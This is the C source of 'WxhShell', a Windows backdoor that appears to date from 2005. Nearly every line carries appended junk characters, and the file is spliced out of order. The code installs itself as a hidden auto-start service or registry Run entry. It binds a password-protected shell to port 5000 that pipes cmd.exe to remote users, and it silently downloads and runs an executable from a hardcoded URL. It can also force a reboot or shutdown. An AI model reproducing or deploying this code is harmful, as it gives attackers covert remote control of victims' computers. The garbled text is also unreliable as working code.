    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /:USpuu  
    else { [FCNW0NV  
    closesocket(wsh); Bf* F ^  
    ExitThread(0); SfR!q4b=  
    } )7`~U"r  
    break; 0>?mF]M  
    } ~~fL`"  
  // 获取shell ?b7vc^E&  
  case 's': { gTQ6B,`/8  
    CmdShell(wsh); Xs?>6i@$$  
    closesocket(wsh); rU~"A  
    ExitThread(0); GYs4#40  
    break; jyT(LDsS  
  } VI+Y4T@  
  // 退出 ePY K^D  
  case 'x': { ~ ZDdzp>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,`Mlo  
    CloseIt(wsh); b~~}(^Bg  
    break; 0WPxzmY  
    } 4OIN@n*4  
  // 离开 ypifXO;m7  
  case 'q': { iH$N HfH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Uis P 8/k  
    closesocket(wsh); dJ;;l7":~  
    WSACleanup(); G?V3lQI1n  
    exit(1); k/mY. 2yPv  
    break; V('b|gsEo  
        } W ][IHy<   
  } p,0 \NUC  
  } v m$v[  
zld>o3K}  
  // 提示信息 gI%n(eY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |JDJ{;o  
} nbRg<@  
  } %B?5l^W@  
z>&D~0  
  return; d+w<y~\ q  
} jGWLYI=V2  
df)1} /*L  
// shell模块句柄 g bh:Y}_FU  
int CmdShell(SOCKET sock) EtcamI*`  
{ Xg)yz~Ug  
STARTUPINFO si; axl?t|~I  
ZeroMemory(&si,sizeof(si)); +Q9HsfX/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2U+&F'&Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [/kO >  
PROCESS_INFORMATION ProcessInfo; 3_>1j  
char cmdline[]="cmd"; 7/yd@#$X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lu}[XN  
  return 0; LH8?0 N[  
}  (M=Br  
uXC?fMWp.  
// 自身启动模式 JQCwI`%i  
int StartFromService(void) ) jvkwC  
{ RAxz+1JT  
typedef struct &sWyh[`P  
{ PLyu1{1" z  
  DWORD ExitStatus; _aGdC8%[  
  DWORD PebBaseAddress; {V&7JZl,/  
  DWORD AffinityMask; c%dy$mkqgK  
  DWORD BasePriority; b(VU{cf2d  
  ULONG UniqueProcessId; ~_&.A*Jh  
  ULONG InheritedFromUniqueProcessId; +!Ltn  
}   PROCESS_BASIC_INFORMATION; vqHJc2yYkZ  
.s?OKy  
PROCNTQSIP NtQueryInformationProcess; 4s8E:I=K  
>tzXbmFp;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _7;^od=C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #+G2ZJxL|  
P:TpB6.=q  
  HANDLE             hProcess; qw/{o:ce]  
  PROCESS_BASIC_INFORMATION pbi; 1L|(:m+  
? `KOW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S#9SAX [  
  if(NULL == hInst ) return 0; [:'n+D=T3M  
C"{on%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (D{}1sZBQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #.)>geLC>9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cn0Fz"d  
?X1#b2s  
  if (!NtQueryInformationProcess) return 0; iQF}x&a<  
~}AP@t*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {;E/l(HNI  
  if(!hProcess) return 0; AIyv;}5  
Kd)m"9Cc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ss<'g@R  
abnd U,s  
  CloseHandle(hProcess); #77UKYj2L-  
NjxW A&[ng  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m+UdT854  
if(hProcess==NULL) return 0; Q(6(Scp{  
(ZK >WoV  
HMODULE hMod; jh G7sS|  
char procName[255]; DE ws+y-*  
unsigned long cbNeeded; hl:eF:'hm  
4QNR_w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ->8q, W2A  
pxx(BE  
  CloseHandle(hProcess); r\d:fot  
clw91yrQn  
if(strstr(procName,"services")) return 1; // 以服务启动 AF$o >f  
^Q>*f/.KN  
  return 0; // 注册表启动 JWL J<z  
} -/%jeDKp  
Ol[gck|~  
// 主模块 o }A #-   
int StartWxhshell(LPSTR lpCmdLine) ea0tx3'  
{ zIFL?8!H9{  
  SOCKET wsl; N -]PK%*  
BOOL val=TRUE; .}N^AO=  
  int port=0; =fG8YZ(  
  struct sockaddr_in door; PNgMLQI6  
ai4^NJn  
  if(wscfg.ws_autoins) Install(); a`*WpP\+  
:$aW@?zAY  
port=atoi(lpCmdLine); %Be[DLtE"  
SWb5K0YRn  
if(port<=0) port=wscfg.ws_port; >EtP^Lu~f_  
HW72 6K*  
  WSADATA data; lM*O+k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2H[a Y%1T  
=7fh1XnW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]ECZU   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e0HP~&BRs  
  door.sin_family = AF_INET; %}X MhWn{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }dJ ~Iy  
  door.sin_port = htons(port); sVd_O[  
z|*6fFE   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L0b] ^_ tI  
closesocket(wsl); }27Vh0v  
return 1; %E"/]!}3  
} "NH+qQhs  
7RE6y(V1  
  if(listen(wsl,2) == INVALID_SOCKET) { PV6 *-[  
closesocket(wsl); J.2]km  
return 1; ZHlin#"  
} \)ZX4rs{8  
  Wxhshell(wsl); :s '"u]  
  WSACleanup(); (B,t 1+%  
*u'`XRJU/  
return 0; dY@Tt&k8E  
]wpYxos  
} +A?+G  
>5Oy^u6Ly  
// 以NT服务方式启动 $Wzv$4;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [KI`e  
{ /%9p9$kFot  
DWORD   status = 0; FR^wDm$  
  DWORD   specificError = 0xfffffff; j jT 2k  
*/dh_P<Yj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !9LAXM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y~hd<8 ~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -^Km}9g  
  serviceStatus.dwWin32ExitCode     = 0; \w[ZY$/  
  serviceStatus.dwServiceSpecificExitCode = 0; Z?c=t-yqp  
  serviceStatus.dwCheckPoint       = 0; jQeE07g  
  serviceStatus.dwWaitHint       = 0; B9)qv>m  
b%f2"e0g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1=5'R/k  
  if (hServiceStatusHandle==0) return; ((>3,%B`  
vKf;&`^qE  
status = GetLastError(); GnrW {o  
  if (status!=NO_ERROR) "rDzrz  
{ }_:#fE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'Oy5G7^R  
    serviceStatus.dwCheckPoint       = 0; {R!TUQ5  
    serviceStatus.dwWaitHint       = 0; T>Rf?%o  
    serviceStatus.dwWin32ExitCode     = status; 5uJP) S?  
    serviceStatus.dwServiceSpecificExitCode = specificError; .Xz"NyW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #u5;utY:F  
    return; 1fhK{9#  
  } \BcJDdL  
zHc4e   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2a(yR >#  
  serviceStatus.dwCheckPoint       = 0; )7"DR+;:  
  serviceStatus.dwWaitHint       = 0; 2]RH)W86;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `(Q_ 65y  
} bc=u1=~w  
VueQP|   
// 处理NT服务事件,比如:启动、停止 @1-GPmj-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f.84=epv  
{ 0R5^p  
switch(fdwControl) 2td|8vDA  
{ -kri3?Y,  
case SERVICE_CONTROL_STOP: l)PFzIz=V  
  serviceStatus.dwWin32ExitCode = 0; vua1iN1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aco}pXz  
  serviceStatus.dwCheckPoint   = 0; l^y?L4hg)  
  serviceStatus.dwWaitHint     = 0; <_{4-Q>S3#  
  { m>-^ K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u3i| }`  
  } "ko?att~  
  return; M3;v3 }z<-  
case SERVICE_CONTROL_PAUSE: ? ]:EmP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I;.! hV>E  
  break; ;/^]|  
case SERVICE_CONTROL_CONTINUE: - Zoo)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y7IbE   
  break; (zro7gKked  
case SERVICE_CONTROL_INTERROGATE: Y=Ar3O*F  
  break; nh&J3b}B!  
}; -k[tFBl w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e5>5/l]jsg  
} v6DxxE2n  
U>B5LU9&  
// 标准应用程序主函数 k5%0wHpk=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MV;Y?%>  
{ GKsL~;8"  
D7_Hu'y<o  
// 获取操作系统版本 Jn@Mbl  
OsIsNt=GetOsVer(); cM<hG:4%wX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0@e}hv;  
W "\tkh2  
  // 从命令行安装 vz #wP  
  if(strpbrk(lpCmdLine,"iI")) Install(); }!yD^:[ 5  
0O['-x  
  // 下载执行文件 )3`  
if(wscfg.ws_downexe) { <.7I8B7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $L&9x3+?Kg  
  WinExec(wscfg.ws_filenam,SW_HIDE); B[/['sD  
} LY88;*:S  
e<O;pM:  
if(!OsIsNt) { Fb{`a[&  
// 如果时win9x,隐藏进程并且设置为注册表启动 HSr"M.k5  
HideProc(); kSDa\l!W]  
StartWxhshell(lpCmdLine); hKzBq*cV  
} *CPB5s  
else sg6w7fp>  
  if(StartFromService()) oA3W {  
  // 以服务方式启动 k"^t?\Q%vI  
  StartServiceCtrlDispatcher(DispatchTable); .M53, 8X  
else lgjoF_D  
  // 普通方式启动 k.=S+#"}  
  StartWxhshell(lpCmdLine); (|a$N.e&K  
x+*L5$;h  
return 0; o~.o^0Y  
} Puth8$  
cxP9n8CuT  
v1X&p\[d  
r@ T-Hi  
===========================================  IB.'4B7  
!8"$d_=h  
T?]kF-   
 10l1a4  
QC\g%MVG  
rPo\Dz  
" {7Gx9(  
)(?UA$"  
#include <stdio.h> }KaCf,O  
#include <string.h> {Z?$Co^R  
#include <windows.h> +.gf]|  
#include <winsock2.h> UU;-q_H6  
#include <winsvc.h> f?>-yMR|  
#include <urlmon.h> =@1R ozt  
s7UhC.>'@  
#pragma comment (lib, "Ws2_32.lib") JJ N(M*;  
#pragma comment (lib, "urlmon.lib") e1 {t0f  
B~_,>WG  
#define MAX_USER   100 // 最大客户端连接数 A}#]g>L  
#define BUF_SOCK   200 // sock buffer |?fW!y  
#define KEY_BUFF   255 // 输入 buffer CNpe8M=/3  
=ve*g&  
#define REBOOT     0   // 重启 .^W\OJ`G  
#define SHUTDOWN   1   // 关机 (Xr_ np @  
 ENYF0wW  
#define DEF_PORT   5000 // 监听端口 9#EHXgz  
;5Wx$Yfx  
#define REG_LEN     16   // 注册表键长度 _86*.3fQG  
#define SVC_LEN     80   // NT服务名长度 :uIi ?  
&Xn8oe  
// 从dll定义API i>]<*w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Av;q:x?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 94p:|5@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /mMAwx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F; MF:;mM  
z*dQIC  
// wxhshell配置信息 e0~sUVYf  
struct WSCFG { 1o;g1Z/  
  int ws_port;         // 监听端口 n2jvXLJq  
  char ws_passstr[REG_LEN]; // 口令 2<6`TA*m  
  int ws_autoins;       // 安装标记, 1=yes 0=no ax72ehL}  
  char ws_regname[REG_LEN]; // 注册表键名 ~_l6dDJ  
  char ws_svcname[REG_LEN]; // 服务名 ySixYt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y ;{^Ln4{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c9*1$~(v0I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x:A-p..e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?2?S[\@`0U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `\W   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,N@Yk.  
H4 }%;m%  
}; HvqF@/xh  
E VN-<=i^  
// default Wxhshell configuration j]!7BHC  
struct WSCFG wscfg={DEF_PORT, tL={y*  
    "xuhuanlingzhe", '#,e @v  
    1, B0b[p*g Il  
    "Wxhshell", (<bm4MPf  
    "Wxhshell", d%#!nq{vd  
            "WxhShell Service", c|\ZRBdI  
    "Wrsky Windows CmdShell Service", \uU=O )  
    "Please Input Your Password: ", (b/A|hl  
  1, .)"_Q/q  
  "http://www.wrsky.com/wxhshell.exe", S1 EEASr!}  
  "Wxhshell.exe" [5? 4c'Ev  
    }; Q )LXL.0h  
tb:,Uf>E  
// 消息定义模块 M('s|>\l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,]PyDq6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z.2r@Psk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (|0.m8D~D  
char *msg_ws_ext="\n\rExit."; E ;BPN  
char *msg_ws_end="\n\rQuit."; sJ))<,e5I  
char *msg_ws_boot="\n\rReboot..."; [K cki+  
char *msg_ws_poff="\n\rShutdown..."; AfbB~LlBq  
char *msg_ws_down="\n\rSave to "; v"P&` 1=T  
Pl rkgS0J  
char *msg_ws_err="\n\rErr!"; _pz,okO[V  
char *msg_ws_ok="\n\rOK!"; K0EY<Ltq  
]6$,IKE7  
char ExeFile[MAX_PATH]; KGV.S  
int nUser = 0; !US8aT  
HANDLE handles[MAX_USER]; c;:">NR  
int OsIsNt; w(76H^e  
ID67?:%r  
SERVICE_STATUS       serviceStatus; /9x{^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g$*/ XSr(  
_ztZ> '  
// 函数声明 ,op]-CY 5  
int Install(void); ?muDTD%c  
int Uninstall(void); di6B!YQP  
int DownloadFile(char *sURL, SOCKET wsh); Awu$g.  
int Boot(int flag); S  ~@r  
void HideProc(void); ]pW86L%  
int GetOsVer(void); O1GDugZ  
int Wxhshell(SOCKET wsl); ~L- 0~  
void TalkWithClient(void *cs); A}t%;V2  
int CmdShell(SOCKET sock); NFk}3w:  
int StartFromService(void); [##`U m  
int StartWxhshell(LPSTR lpCmdLine); 403[oOj  
YBb)/ZghY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #O2wyG)oU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vU=9ydAj?  
BdN8 ^W  
// 数据结构和表定义 :83,[;GO2  
SERVICE_TABLE_ENTRY DispatchTable[] = FJP< bREQ  
{ ?e F@Q !h  
{wscfg.ws_svcname, NTServiceMain}, )v[XmJ>H~o  
{NULL, NULL} 8F#osN  
}; 63W{U/*aao  
bGbqfO`  
// 自我安装 _f cS>/<a  
int Install(void) "j{i,&Y$_  
{ nz4<pvC,*  
  char svExeFile[MAX_PATH]; *IC^IC:  
  HKEY key; A_!QrM  
  strcpy(svExeFile,ExeFile); ')B =|T)  
>T<6fpXuk2  
// 如果是win9x系统,修改注册表设为自启动 \|CPR6I  
if(!OsIsNt) { YEzU{J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6cJ<9i &  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ` ^DjEdUN  
  RegCloseKey(key); rwiw Rh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `E@kFJ(<On  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =M7TCE  
  RegCloseKey(key); EXuLSzQwv  
  return 0; S_J,[#&  
    } aF!Ex  
  } b"I~_CL|  
} m#tpbFAsc  
else { >lrhHU  
8z Y)J#  
// 如果是NT以上系统,安装为系统服务 .*BA 1sjE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #~L!pKM  
if (schSCManager!=0) B$rTwR"(-  
{ sf(i E(o  
  SC_HANDLE schService = CreateService o]Gguw5W{  
  ( "'m)VG  
  schSCManager, |6aJwe+*  
  wscfg.ws_svcname, tQWWgLM  
  wscfg.ws_svcdisp, oL]mjo=jN  
  SERVICE_ALL_ACCESS, \K;op2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L>dkrr)e  
  SERVICE_AUTO_START, 74+A+SK[  
  SERVICE_ERROR_NORMAL, ( S`6Q  
  svExeFile, zDD4m`2  
  NULL, 2 nv[1@M  
  NULL, x?#I4RJH;  
  NULL, U&X2cR &a  
  NULL, YutQ]zYA.  
  NULL SxJ$b  
  ); l3.  
  if (schService!=0) iv*V#J>  
  { owvS/"@  
  CloseServiceHandle(schService); fAGctRGH  
  CloseServiceHandle(schSCManager); `H\)e%]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y;Ap9i*  
  strcat(svExeFile,wscfg.ws_svcname); "+)K |9T#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OO nX`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g+xw$A ou  
  RegCloseKey(key); Ve}[XqdS^p  
  return 0; gxwo4.,  
    } ,MQVE  
  } q/NY72tj0  
  CloseServiceHandle(schSCManager); #E DEYEW7  
} 9Hd;35 3Q  
} =.*98  
`1Zhq+s  
return 1; OR:[J5M)  
} y` yZ R _  
kbYeV_OwM  
// 自我卸载 Bq@zaMv  
int Uninstall(void) /`[!_4i  
{ LvcuZZ`1a  
  HKEY key; P ZxFZvE  
F30 ]  
if(!OsIsNt) {  W^Y#pn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mk!Dozb/  
  RegDeleteValue(key,wscfg.ws_regname); lT'9u,6   
  RegCloseKey(key); T dk ,&8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5{K}?*3hJ  
  RegDeleteValue(key,wscfg.ws_regname); *FK`&(B+}  
  RegCloseKey(key);  %v+=;jw  
  return 0; lwT9~Hyp  
  } D'b#,a;V  
} %T!J$a)qf  
} & ze>X  
else { (CJ.BHu]  
9@K.cdRjQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .$&Q[r3Lu  
if (schSCManager!=0) im]g(#GnKh  
{ G,XPT,:%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d;7 uFh|o  
  if (schService!=0) m} 3gZu]  
  { <@G8ni  
  if(DeleteService(schService)!=0) { KVPR}qTP;  
  CloseServiceHandle(schService); wJeG(h  
  CloseServiceHandle(schSCManager); \L # INP4~  
  return 0; S{#cD1>.  
  } maNW{"1  
  CloseServiceHandle(schService); %g3,qI  
  } P:C2G(V1AR  
  CloseServiceHandle(schSCManager); -oyO+1V  
} j}:~5|.  
} Hp Vjee  
t\4[``t  
return 1; D)Q)NI  
}  fvEAIs  
kL>d"w  
// 从指定url下载文件 @F~LW6K  
int DownloadFile(char *sURL, SOCKET wsh) ^e Gue  
{ ?+0GfIV  
  HRESULT hr; At6qtoPRA  
char seps[]= "/"; 1[;;sSp  
char *token; usFfMF X  
char *file; uuNR?1fS  
char myURL[MAX_PATH]; ua5?(,E`']  
char myFILE[MAX_PATH]; a|4~NL  
?F7o!B  
strcpy(myURL,sURL); C/=XuKE-t  
  token=strtok(myURL,seps); +G F#?X0^  
  while(token!=NULL) 'zZcn" +!  
  { 71fk.16  
    file=token; m ee$"Y  
  token=strtok(NULL,seps); l|/LQ/  
  } - nbMTY}  
Km#pX1]>e  
GetCurrentDirectory(MAX_PATH,myFILE); 4)6xU4eBaL  
strcat(myFILE, "\\"); _[K"gu  
strcat(myFILE, file); Dg HaOAdU  
  send(wsh,myFILE,strlen(myFILE),0); 3;[DJ5  
send(wsh,"...",3,0); b:J(b?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MZ> 6o5K|  
  if(hr==S_OK) FLZWZ;  
return 0; S4CbyXW  
else ln!'_\{  
return 1; (ljF{)Ml+=  
] )DX%$f  
} CO:u1?  
44ed79ly0)  
// 系统电源模块 q.#[TI ^  
int Boot(int flag) ccFn.($p?,  
{ .w?(NZ2~  
  HANDLE hToken; @}-r&/#  
  TOKEN_PRIVILEGES tkp; ->^~KVh&  
N|g;W  
  if(OsIsNt) { \2 y5_;O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kq=V4-a[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FQz?3w&ia  
    tkp.PrivilegeCount = 1; a:, y Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zSEs?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )D&M2CUw"f  
if(flag==REBOOT) { 8~lIe:F-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !4"^`ors$  
  return 0; U69u'G:  
} fBn"kr;  
else { 4Y> Yi*n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d[ >`")2)  
  return 0; g*UMG>  
} ;< jbLhHwD  
  } %xZG*2vc!B  
  else { }@1q@xU  
if(flag==REBOOT) { I){\0vb@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +  @9.$6N  
  return 0; &,\=3 '  
} j%u-dr  
else { 51C2u)HE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `:m!~  
  return 0; IP`6bMd  
} 6qWdd&1  
} OLGBt  
J7D}%  
return 1; f3j{VN  
} im7nJQ^H$q  
}v9\F-0>Q  
// win9x进程隐藏模块 @`opDu!  
void HideProc(void) :2 >hoAJJ  
{ 0Sq][W=  
B vo5-P6XY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >(w2GD?  
  if ( hKernel != NULL ) |Xi%   
  { `p b5*h6r!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3A:q7#m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n<sd!xmqFx  
    FreeLibrary(hKernel); ,;?S\V  
  } \Ng\B.IQ  
3f " %G\  
return; vK7\JZ>  
} UJfT!==U  
>d"3<S ; b  
// 获取操作系统版本 7]xm2CHx5  
int GetOsVer(void) tWTKgbj(  
{ 'i;|c  
  OSVERSIONINFO winfo; a,F&`Wg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8.' #?]a  
  GetVersionEx(&winfo); DFhXx6]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |Fm6#1A@  
  return 1; BqDKT  
  else 4n#ov=)-~  
  return 0; iv`O /T  
} >3 yk#U|7}  
iovfo2!hD  
// 客户端句柄模块 09A X-JP  
int Wxhshell(SOCKET wsl) 2%*MW"Q  
{ ] Z8Vj7~  
  SOCKET wsh; E$9 Ys  
  struct sockaddr_in client; HEL!GC>#  
  DWORD myID; c_aZ{S  
Ol"3a|  
  while(nUser<MAX_USER) MuoF FvAA  
{ 8}H1_y-g[  
  int nSize=sizeof(client); ~\x:<)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J PyOG _h  
  if(wsh==INVALID_SOCKET) return 1; 1O].v&{  
k#[F`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (b?{xf'G  
if(handles[nUser]==0) oH0X<'  
  closesocket(wsh); 43?^7_l-  
else y;mj^/SxK  
  nUser++; #HS]NA|e@  
  } y4h=Lki@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EbeI{ -'aF  
y\N|<+G+  
  return 0; XwV'Ha  
} %r&-gWTQ,  
4Mk-2 Dx  
// 关闭 socket gaA<}Tp,  
void CloseIt(SOCKET wsh) gtUUsQ%y.  
{ `1{N=!U(&  
closesocket(wsh); vvUSeG\n#j  
nUser--; E_KCNn-f  
ExitThread(0); UAR5^  
} ycFio ,  
GgaTn!mJt  
// 客户端请求句柄 m<L;  
void TalkWithClient(void *cs) rc+C?)S  
{ =rdY @  
1&fc1uYB4  
  SOCKET wsh=(SOCKET)cs; gP+fN$5'd  
  char pwd[SVC_LEN]; eh,~^x5  
  char cmd[KEY_BUFF]; ?#yV3h|Ij  
char chr[1]; rkiT1YTY  
int i,j; )54%HM_$k  
qV5DW0.  
  while (nUser < MAX_USER) { -{^}"N  
`eu9dLz H  
if(wscfg.ws_passstr) { .NtbL./=|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .0R v(Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s2j['g5  
  //ZeroMemory(pwd,KEY_BUFF); ngj,x7t  
      i=0; )%!XSsY.N|  
  while(i<SVC_LEN) { OL_{_K(w  
8M@BG8  
  // 设置超时 0%!rx{f#\  
  fd_set FdRead; RwS@I /  
  struct timeval TimeOut; Y>jiXl?&  
  FD_ZERO(&FdRead); AeAp0cbet  
  FD_SET(wsh,&FdRead); 5*[2yKsTi  
  TimeOut.tv_sec=8; 7ugZE93!  
  TimeOut.tv_usec=0; O;7)Hjwt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f|u#2!7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e #/E~r&  
'!f5?O+E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1-.~7yC  
  pwd=chr[0]; r J KZ)N{  
  if(chr[0]==0xd || chr[0]==0xa) { 5NJ4  
  pwd=0; hzk6rYg1  
  break; nQ|r"|g  
  } `9k0Gd  
  i++; 0Z{j>=$  
    } npRS Ev  
!n6wWl  
  // 如果是非法用户,关闭 socket /b|0PMX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?xK,mbFgl  
} Q f(p~a(d  
LJoGpr 8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e8'wG{3A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AIA6yeaU  
,vW:}&U  
while(1) { pLv$\ MiZ  
;-UmY}MU  
  ZeroMemory(cmd,KEY_BUFF); 9n}p;3{f  
I(=V}s2  
      // 自动支持客户端 telnet标准   QRLt9L  
  j=0; OT'[:|x ;  
  while(j<KEY_BUFF) { > x IJE2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ja=F7Usb  
  cmd[j]=chr[0]; 1~ $);US  
  if(chr[0]==0xa || chr[0]==0xd) { d#2$!z#  
  cmd[j]=0; wcDRH)AW.  
  break; !bV5Sr^  
  } ]({~,8s  
  j++; 43V}# DA@  
    } Pz$R(TV  
q\\gpCgp  
  // 下载文件 vFEQ7 qI  
  if(strstr(cmd,"http://")) { DNP13wp@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .jMq  
  if(DownloadFile(cmd,wsh)) A<;SnXm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %kgkXc~6|x  
  else +**!@uY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .5  
  } aZbw]0q@o  
  else { pKi&[  
Rb3V^;i  
    switch(cmd[0]) { -.{g}R%  
  i1 RiGS  
  // 帮助 3P;>XGCxZ  
  case '?': { dK>7fy;mv  
